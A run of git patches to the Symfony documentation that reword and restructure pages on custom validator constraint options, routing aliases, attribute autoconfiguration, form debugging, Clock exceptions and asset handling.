+                string $message = null,
+                bool $optionalBarOption = null,
+                array $groups = null,
+                $payload = null,
+                array $options = []
+            ) {
+                if (\is_array($mandatoryFooOption)) {
+                    $options = array_merge($mandatoryFooOption, $options);
+                } elseif (null !== $mandatoryFooOption) {
+                    $options['value'] = $mandatoryFooOption;
+                }
+
+                parent::__construct($options, $groups, $payload);
+
+                $this->message = $message ?? $this->message;
+                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
+            }
+
+            public function getDefaultOption()
+            {
+                // If no associative array is passed to the constructor this
+                // property is set instead.
+
+                return 'mandatoryFooOption';
+            }
+
+            public function getRequiredOptions()
+            {
+                // return names of options which must be set.
+
+                return ['mandatoryFooOption'];
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/Foo.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class Foo extends Constraint
+        {
+            public $mandatoryFooOption;
+            public $message = 'This value is invalid';
+            public $optionalBarOption = false;
+
+            public function __construct(
+                $mandatoryFooOption,
+                string $message = null,
+                bool $optionalBarOption = null,
+                array $groups = null,
+                $payload = null,
+                array $options = []
+            ) {
+                if (\is_array($mandatoryFooOption)) {
+                    $options = array_merge($mandatoryFooOption, $options);
+                } elseif (null !== $mandatoryFooOption) {
+                    $options['value'] = $mandatoryFooOption;
+                }
+
+                parent::__construct($options, $groups, $payload);
+
+                $this->message = $message ?? $this->message;
+                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
+            }
+
+            public function getDefaultOption()
+            {
+                return 'mandatoryFooOption';
+            }
+
+            public function getRequiredOptions()
+            {
+                return ['mandatoryFooOption'];
+            }
+        }
+
+Inside the validator, options can be accessed quite simple::
+
+    class FooValidator extends ConstraintValidator
+    {
+        public function validate($value, Constraint $constraint)
+        {
+            // Access the option of the constraint
+            if ($constraint->optionalBarOption) {
+                // ...
+            }
+
+            // ...
+        }
+    }
+
+Custom options can be passed to the constraints like for the ones provided by Symfony
+itself:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            /**
+             * @Assert\NotBlank
+             * @AcmeAssert\Foo(
+             *     mandatoryFooOption="bar",
+             *     optionalBarOption=true
+             * )
+             */
+            protected $name;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            #[Assert\NotBlank]
+            #[AcmeAssert\Foo(
+                mandatoryFooOption: 'bar',
+                optionalBarOption: true
+            )]
+            protected $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\AcmeEntity:
+            properties:
+                name:
+                    - NotBlank: ~
+                    - App\Validator\Foo:
+                        mandatoryFooOption: bar
+                        optionalBarOption: true
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\AcmeEntity">
+                <property name="name">
+                    <constraint name="NotBlank"/>
+                    <constraint name="App\Validator\Foo">
+                        <option name="mandatoryFooOption">bar</option>
+                        <option name="optionalBarOption">true</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator\ContainsAlphanumeric;
+        use Symfony\Component\Validator\Constraints\NotBlank;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class AcmeEntity
+        {
+            public $name;
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('name', new NotBlank());
+                $metadata->addPropertyConstraint('name', new Foo([
+                    'mandatoryFooOption' => 'bar',
+                    'optionalBarOption' => true,
+                ]));
+            }
+        }
+
 Create a Reusable Set of Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f07d86148344b92fe512d6ccf8aa2e2e44d0df22 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 16:25:28 +0200
Subject: [PATCH 5099/7107] Tweaks

---
 validation/custom_constraint.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 424e4e41acb..d44346352fd 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -233,11 +233,11 @@ then your validator is already registered as a service and :doc:`tagged </servic
 with the necessary ``validator.constraint_validator``. This means you can
 :ref:`inject services or configuration <services-constructor-injection>` like any other service.
 
-Constraint Validators with custom options
+Constraint Validators with Custom Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Define public properties on the constraint class for the desired configuration
-options:
+If you want to add some configuration options to your custom constraint, first
+define those options as public properties on the constraint class:
 
 .. configuration-block::
 
@@ -338,13 +338,14 @@ options:
             }
         }
 
-Inside the validator, options can be accessed quite simple::
+Then, inside the validator class you can access these options directly via the
+constraint class passes to the ``validate()`` method::
 
     class FooValidator extends ConstraintValidator
     {
         public function validate($value, Constraint $constraint)
         {
-            // Access the option of the constraint
+            // access any option of the constraint
             if ($constraint->optionalBarOption) {
                 // ...
             }
@@ -353,8 +354,8 @@ Inside the validator, options can be accessed quite simple::
         }
     }
 
-Custom options can be passed to the constraints like for the ones provided by Symfony
-itself:
+When using this constraint in your own application, you can pass the value of
+the custom options like you pass any other option in built-in constraints:
 
 .. configuration-block::
 

From 53cbda40c573faa0df51fb0018f8570c94e0265e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 16:28:45 +0200
Subject: [PATCH 5100/7107] Remove annotations examples

---
 validation/custom_constraint.rst | 144 +++++++------------------------
 1 file changed, 32 insertions(+), 112 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index ba7f10d9bda..4cc91f16855 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -221,106 +221,50 @@ Constraint Validators with Custom Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you want to add some configuration options to your custom constraint, first
-define those options as public properties on the constraint class:
+define those options as public properties on the constraint class::
 
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Validator/Foo.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
+    // src/Validator/Foo.php
+    namespace App\Validator;
 
-        /**
-         * @Annotation
-         */
-        class Foo extends Constraint
-        {
-            public $mandatoryFooOption;
-            public $message = 'This value is invalid';
-            public $optionalBarOption = false;
-
-            public function __construct(
-                $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
-                $payload = null,
-                array $options = []
-            ) {
-                if (\is_array($mandatoryFooOption)) {
-                    $options = array_merge($mandatoryFooOption, $options);
-                } elseif (null !== $mandatoryFooOption) {
-                    $options['value'] = $mandatoryFooOption;
-                }
-
-                parent::__construct($options, $groups, $payload);
-
-                $this->message = $message ?? $this->message;
-                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
-            }
+    use Symfony\Component\Validator\Constraint;
 
-            public function getDefaultOption()
-            {
-                // If no associative array is passed to the constructor this
-                // property is set instead.
+    #[\Attribute]
+    class Foo extends Constraint
+    {
+        public $mandatoryFooOption;
+        public $message = 'This value is invalid';
+        public $optionalBarOption = false;
 
-                return 'mandatoryFooOption';
+        public function __construct(
+            $mandatoryFooOption,
+            string $message = null,
+            bool $optionalBarOption = null,
+            array $groups = null,
+            $payload = null,
+            array $options = []
+        ) {
+            if (\is_array($mandatoryFooOption)) {
+                $options = array_merge($mandatoryFooOption, $options);
+            } elseif (null !== $mandatoryFooOption) {
+                $options['value'] = $mandatoryFooOption;
             }
 
-            public function getRequiredOptions()
-            {
-                // return names of options which must be set.
+            parent::__construct($options, $groups, $payload);
 
-                return ['mandatoryFooOption'];
-            }
+            $this->message = $message ?? $this->message;
+            $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
         }
 
-    .. code-block:: php-attributes
-
-        // src/Validator/Foo.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
-
-        #[\Attribute]
-        class Foo extends Constraint
+        public function getDefaultOption()
         {
-            public $mandatoryFooOption;
-            public $message = 'This value is invalid';
-            public $optionalBarOption = false;
-
-            public function __construct(
-                $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
-                $payload = null,
-                array $options = []
-            ) {
-                if (\is_array($mandatoryFooOption)) {
-                    $options = array_merge($mandatoryFooOption, $options);
-                } elseif (null !== $mandatoryFooOption) {
-                    $options['value'] = $mandatoryFooOption;
-                }
-
-                parent::__construct($options, $groups, $payload);
-
-                $this->message = $message ?? $this->message;
-                $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
-            }
-
-            public function getDefaultOption()
-            {
-                return 'mandatoryFooOption';
-            }
+            return 'mandatoryFooOption';
+        }
 
-            public function getRequiredOptions()
-            {
-                return ['mandatoryFooOption'];
-            }
+        public function getRequiredOptions()
+        {
+            return ['mandatoryFooOption'];
         }
+    }
 
 Then, inside the validator class you can access these options directly via the
 constraint class passes to the ``validate()`` method::
@@ -343,30 +287,6 @@ the custom options like you pass any other option in built-in constraints:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator as AcmeAssert;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class AcmeEntity
-        {
-            // ...
-
-            /**
-             * @Assert\NotBlank
-             * @AcmeAssert\Foo(
-             *     mandatoryFooOption="bar",
-             *     optionalBarOption=true
-             * )
-             */
-            protected $name;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/AcmeEntity.php

From 06ac5a1e1db34e914a2482d397dfd2e6d3e15afa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 16:53:41 +0200
Subject: [PATCH 5101/7107] Mention how to run the commands that create the
 testing database

---
 testing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testing.rst b/testing.rst
index d3705a9984a..7cb5f906046 100644
--- a/testing.rst
+++ b/testing.rst
@@ -398,6 +398,11 @@ After that, you can create the test database and all tables using:
     # create the tables/columns in the test database
     $ php bin/console --env=test doctrine:schema:create
 
+.. tip::
+
+    You can run these commands to create the database during the
+    :doc:`test bootstrap process <testing/bootstrap>`.
+
 .. tip::
 
     A common practice is to append the ``_test`` suffix to the original

From 51e05f7b355a50c1ffa1e0715ee2b65f4aec1d79 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 17:18:53 +0200
Subject: [PATCH 5102/7107] Tweak

---
 session.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 4a9015f919f..25e4c7135a8 100644
--- a/session.rst
+++ b/session.rst
@@ -670,8 +670,8 @@ and only the first one stored the CSRF token in the session.
 .. tip::
 
     When using Redis with a DSN in the
-    :ref:`handler_id <config-framework-session-handler-id>` config option, the
-    latter can contain the ``prefix`` and ``ttl`` options as query string parameters.
+    :ref:`handler_id <config-framework-session-handler-id>` config option, you can
+    add the ``prefix`` and ``ttl`` options as query string parameters in the DSN.
 
     .. versionadded:: 5.4
 

From 30b7305b8124c3cf98809efad5e3e7b8f0d10750 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Sep 2023 17:19:24 +0200
Subject: [PATCH 5103/7107] Remove a versionadded directive

---
 session.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/session.rst b/session.rst
index e801309afa0..f3bd995fb9c 100644
--- a/session.rst
+++ b/session.rst
@@ -670,11 +670,6 @@ and only the first one stored the CSRF token in the session.
     :ref:`handler_id <config-framework-session-handler-id>` config option, you can
     add the ``prefix`` and ``ttl`` options as query string parameters in the DSN.
 
-    .. versionadded:: 5.4
-
-        The support for ``prefix`` and ``ttl`` options in a Redis DSN was
-        introduced in Symfony 5.4.
-
 .. _session-database-pdo:
 
 Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)

From e518a88f680b9d5fb94aca4d2a34c7bc1aa0814a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Sep 2023 16:58:25 +0200
Subject: [PATCH 5104/7107] [Routing] Add FQCN and FQCN::method aliases when
 applicable

---
 routing.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/routing.rst b/routing.rst
index d7b86784dbc..408f397652d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2236,6 +2236,34 @@ For that reason each route has an internal name that must be unique in the
 application. If you don't set the route name explicitly with the ``name``
 option, Symfony generates an automatic name based on the controller and action.
 
+Symfony declares aliases based on the FQCN if the target class has an
+``__invoke()`` method that adds a route **and** if the target class added
+one route exactly. Symfony also automatically adds a alias for every method
+that defines only one route. This means that for the following class::
+
+        // src/Controller/MainController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        final class MainController extends AbstractController
+        {
+            #[Route('/', name: 'homepage')]
+            public function homepage(): Response
+            {
+                // ...
+            }
+        }
+
+An alias named ``App\Controller\MainController::homepage`` will be declared in
+the router.
+
+.. versionadded:: 6.4
+
+    The automatic declaration of aliases based on FQCNs was introduced in
+    Symfony 6.4.
+
 Generating URLs in Controllers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9571b512de55023f62347ac6301dfb1577421761 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 4 Sep 2023 16:09:09 +0200
Subject: [PATCH 5105/7107] [DependencyInjection] Autoconfigurable attributes
 on methods, properties and parameters

---
 service_container/tags.rst | 54 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index e548040f4ed..5446a5aed16 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -214,11 +214,65 @@ method::
         }
     }
 
+To go even further, the ``SensitiveElement`` attribute can be updated to be
+usable on methods::
+
+    // src/Attribute/SensitiveElement.php
+    namespace App\Attribute;
+
+    #[\Attribute(\Attribute::TARGET_CLASS | \Attribute::TARGET_METHOD)]
+    class SensitiveElement
+    {
+        // ...
+    }
+
+We should now update the call to
+:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+to support ``ReflectionMethod``::
+
+    // src/Kernel.php
+    use App\Attribute\SensitiveElement;
+
+    class Kernel extends BaseKernel
+    {
+        // ...
+
+        protected function build(ContainerBuilder $container): void
+        {
+            // ...
+
+            $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (
+                ChildDefinition $definition,
+                SensitiveElement $attribute,
+                // we update the union type to support multiple type of reflection
+                // you can also use the "\Reflector" interface
+                \ReflectionClass|\ReflectionMethod $reflector): void {
+                    if ($reflection instanceof \ReflectionMethod) {
+                        // ...
+                    }
+                }
+            );
+        }
+    }
+
+.. tip::
+
+    You can also define an attribute to be usable on properties and parameters with
+    ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``, then support
+    ``ReflectionProperty`` and ``ReflectionParameter`` in your
+    :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+    callable.
+
 .. versionadded:: 5.3
 
     The :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
     method was introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    The support for autoconfigurable methods, properties and parameters was
+    introduced in Symfony 5.4.
+
 Creating custom Tags
 --------------------
 

From 4456abafdeb17aa440fd1330013b13eeaac37a07 Mon Sep 17 00:00:00 2001
From: PEHAUT-PIETRI Valmont <valmont.p@hotmail.com>
Date: Tue, 5 Sep 2023 09:19:46 +0200
Subject: [PATCH 5106/7107] [Form]: add a tip for `debug:form` command

---
 forms.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/forms.rst b/forms.rst
index 80e98ecb768..7ff2c09378d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -95,6 +95,33 @@ much easier to implement.
 There are tens of :doc:`form types provided by Symfony </reference/forms/types>`
 and you can also :doc:`create your own form types </form/create_custom_field_type>`.
 
+.. tip::
+
+    You can use the ``debug:form`` to list all the available types, type
+    extensions and type guessers in your application:
+
+    .. code-block:: terminal
+
+        $ php bin/console debug:form
+
+    If you pass a form type as the first argument, the command shows the options
+    defined for that type, its parents and its extensions.
+    For built-in types the short classname is enough, however other types
+    require the FQCN:
+
+    .. code-block:: terminal
+
+        $ php bin/console debug:form BirthdayType
+
+    If you pass both a form type class and an option name, the command displays
+    the full definition of the given option:
+
+    .. code-block:: terminal
+
+        $ php bin/console debug:form BirthdayType label_attr
+
+    You can see all the command options by running ``--help``.
+
 Building Forms
 --------------
 

From 4fbda5d91644e72c2e164b1eaeea6028e0b10765 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 5 Sep 2023 11:11:29 +0200
Subject: [PATCH 5107/7107] [Workflow] Remove `GuardEvent::getContext()` method
 without replacement

---
 workflow.rst | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 88021884130..2e17b40794c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -463,21 +463,6 @@ order:
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
-The context is accessible in all events except for the ``workflow.guard`` events::
-
-    // $context must be an array
-    $context = ['context_key' => 'context_value'];
-    $workflow->apply($subject, $transitionName, $context);
-
-    // in an event listener (workflow.guard events)
-    $context = $event->getContext(); // returns ['context']
-
-.. deprecated:: 6.4
-
-    Gathering events context is deprecated since Symfony 6.4 and the
-    :method:`Symfony\\Component\\Workflow\\Event::getContext` method will be
-    removed in Symfony 7.0.
-
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay

From d7717fb4ea37ee57c3f4b5b56051c5fa82fb830f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 5 Sep 2023 11:15:20 +0200
Subject: [PATCH 5108/7107] Remove mentions of AnnotationLoader

---
 _includes/_annotation_loader_tip.rst.inc | 19 ----------
 components/validator/resources.rst       | 46 ------------------------
 reference/configuration/framework.rst    | 24 -------------
 3 files changed, 89 deletions(-)
 delete mode 100644 _includes/_annotation_loader_tip.rst.inc

diff --git a/_includes/_annotation_loader_tip.rst.inc b/_includes/_annotation_loader_tip.rst.inc
deleted file mode 100644
index 0f4267b07f5..00000000000
--- a/_includes/_annotation_loader_tip.rst.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-.. note::
-
-    In order to use the annotation loader, you should have installed the
-    ``doctrine/annotations`` and ``doctrine/cache`` packages with Composer.
-
-.. tip::
-
-    Annotation classes aren't loaded automatically, so you must load them
-    using a class loader like this::
-
-        use Composer\Autoload\ClassLoader;
-        use Doctrine\Common\Annotations\AnnotationRegistry;
-
-        /** @var ClassLoader $loader */
-        $loader = require __DIR__.'/../vendor/autoload.php';
-
-        AnnotationRegistry::registerLoader([$loader, 'loadClass']);
-
-        return $loader;
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index dd218a26a12..d9d3543a641 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -83,52 +83,6 @@ configure the locations of these files::
     :method:`Symfony\\Component\\Validator\\ValidatorBuilder::addXmlMappings`
     to configure an array of file paths.
 
-The AnnotationLoader
---------------------
-
-.. deprecated:: 6.4
-
-    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader`
-    is deprecated since Symfony 6.4, use the
-    :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
-    instead.
-
-The component provides an
-:class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get
-the metadata from the attributes of the class::
-
-    use Symfony\Component\Validator\Constraints as Assert;
-    // ...
-
-    class User
-    {
-        #[Assert\NotBlank]
-        protected string $name;
-    }
-
-To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method::
-
-    use Symfony\Component\Validator\Validation;
-
-    $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
-        ->getValidator();
-
-To disable the annotation loader after it was enabled, call
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`.
-
-.. deprecated:: 6.4
-
-    The :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
-    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAnnotationMapping`
-    methods are deprecated since Symfony 6.4, use the
-    :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping`
-    and :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`
-    methods instead.
-
-.. include:: /_includes/_annotation_loader_tip.rst.inc
-
 The AttributeLoader
 -------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index efa028b0824..a498328e9fe 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2701,18 +2701,6 @@ settings is configured.
 
 .. _reference-validation-enable_annotations:
 
-enable_annotations
-..................
-
-**type**: ``boolean`` **default**: ``true``
-
-If this option is enabled, validation constraints can be defined using annotations or `PHP attributes`_.
-
-.. deprecated:: 6.4
-
-    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
-    option instead.
-
 enable_attributes
 .................
 
@@ -2899,18 +2887,6 @@ Whether to enable the ``serializer`` service or not in the service container.
 
 .. _reference-serializer-enable_annotations:
 
-enable_annotations
-..................
-
-**type**: ``boolean`` **default**: ``true``
-
-If this option is enabled, serialization groups can be defined using annotations or attributes.
-
-.. deprecated:: 6.4
-
-    This option is deprecated since Symfony 6.4, use the ``enable_attributes``
-    option instead.
-
 enable_attributes
 .................
 

From 3cf253a9690686d3213ba7ae4cc6d7abbbf82f6a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 12:10:38 +0200
Subject: [PATCH 5109/7107] Reword

---
 forms.rst | 17 +++--------------
 1 file changed, 3 insertions(+), 14 deletions(-)

diff --git a/forms.rst b/forms.rst
index 7ff2c09378d..715fdb17f27 100644
--- a/forms.rst
+++ b/forms.rst
@@ -104,24 +104,13 @@ and you can also :doc:`create your own form types </form/create_custom_field_typ
 
         $ php bin/console debug:form
 
-    If you pass a form type as the first argument, the command shows the options
-    defined for that type, its parents and its extensions.
-    For built-in types the short classname is enough, however other types
-    require the FQCN:
-
-    .. code-block:: terminal
-
+        # pass the form type FQCN to only show the options for that type, its parents and extensions.
+        # For built-in types, you can pass the short classname instead of the FQCN
         $ php bin/console debug:form BirthdayType
 
-    If you pass both a form type class and an option name, the command displays
-    the full definition of the given option:
-
-    .. code-block:: terminal
-
+        # pass also an option name to only display the full definition of that option
         $ php bin/console debug:form BirthdayType label_attr
 
-    You can see all the command options by running ``--help``.
-
 Building Forms
 --------------
 

From 52bcbde3a1b6f4068f76f4e50d03970d55f53815 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 13:30:38 +0200
Subject: [PATCH 5110/7107] Tweaks

---
 routing.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 408f397652d..11aea4039b3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2236,10 +2236,10 @@ For that reason each route has an internal name that must be unique in the
 application. If you don't set the route name explicitly with the ``name``
 option, Symfony generates an automatic name based on the controller and action.
 
-Symfony declares aliases based on the FQCN if the target class has an
+Symfony declares route aliases based on the FQCN if the target class has an
 ``__invoke()`` method that adds a route **and** if the target class added
-one route exactly. Symfony also automatically adds a alias for every method
-that defines only one route. This means that for the following class::
+one route exactly. Symfony also automatically adds an alias for every method
+that defines only one route. Consider the following class::
 
         // src/Controller/MainController.php
         namespace App\Controller;
@@ -2256,12 +2256,11 @@ that defines only one route. This means that for the following class::
             }
         }
 
-An alias named ``App\Controller\MainController::homepage`` will be declared in
-the router.
+Symfony will add a route alias named ``App\Controller\MainController::homepage``.
 
 .. versionadded:: 6.4
 
-    The automatic declaration of aliases based on FQCNs was introduced in
+    The automatic declaration of route aliases based on FQCNs was introduced in
     Symfony 6.4.
 
 Generating URLs in Controllers

From 73121fbd0e59644259c1d50dd3c59aeab4cdbb47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 13:30:58 +0200
Subject: [PATCH 5111/7107] Remove a versionadded directive

---
 routing.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 11aea4039b3..6a6d2095e23 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2258,11 +2258,6 @@ that defines only one route. Consider the following class::
 
 Symfony will add a route alias named ``App\Controller\MainController::homepage``.
 
-.. versionadded:: 6.4
-
-    The automatic declaration of route aliases based on FQCNs was introduced in
-    Symfony 6.4.
-
 Generating URLs in Controllers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c458428bb827db01a569726148322659f1700eea Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 5 Sep 2023 13:32:58 +0200
Subject: [PATCH 5112/7107] [Clock] Add support for
 `DateMalformedStringException` and `DateInvalidTimeZoneException`

---
 components/clock.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 5c136e382a4..3ab6f495fba 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -265,5 +265,34 @@ control on your time-sensitive code's behavior.
 
     The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
 
+Exceptions Management
+---------------------
+
+The Clock component takes full advantage of `the new DateTime exceptions`_
+introduced in PHP 8.3: ``DateMalformedStringException`` and
+``DateInvalidTimeZoneException``. These exceptions will be thrown
+respectively when a invalid string is passed to a clock (e.g. when
+creating a clock or modifying a ``MockClock``) and when an invalid timezone is
+used::
+
+    $userInput = 'invalid timezone';
+
+    try {
+        $clock = Clock::get()->withTimeZone($userInput);
+    } catch (\DateInvalidTimeZoneException $exception) {
+        // ...
+    }
+
+Thanks to the `symfony/polyfill-php83`_ dependency required by the Clock
+component, you don't even need to run PHP 8.3 to enjoy these new explicit
+and consistent exceptions when using the Clock component.
+
+.. versionadded:: 6.4
+
+    The support for ``DateMalformedStringException`` and
+    ``DateInvalidTimeZoneException`` was introduced in Symfony 6.4.
+
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
+.. _`the new DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
+.. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83

From 75cb072fdb4c8bd6d5502e8d16d5d289cd17d0bd Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Tue, 5 Sep 2023 08:51:53 -0400
Subject: [PATCH 5113/7107] Removing toc tree, which duplicated links

---
 frontend.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 27ee9719f68..0bb75effffe 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -140,12 +140,6 @@ Other Front-End Articles
 * :doc:`/frontend/create_ux_bundle`
 * :doc:`/frontend/custom_version_strategy`
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    frontend/*
-
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
 .. _`Node.js`: https://nodejs.org/

From 67304ba0764a160215f0ee394348d1dba83757c2 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Tue, 5 Sep 2023 08:49:40 -0400
Subject: [PATCH 5114/7107] [AssetMapper] Removing tailwind/sass docs in favor
 of bundles

---
 frontend/asset_mapper.rst | 116 ++------------------------------------
 1 file changed, 5 insertions(+), 111 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 37404ef5dbc..7c33cc6c816 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -755,120 +755,15 @@ component.
 Using Tailwind CSS
 ------------------
 
-.. seealso::
-
-    Check out `symfonycasts/tailwind-bundle`_ for an even easier way to use
-    Tailwind with Symfony.
-
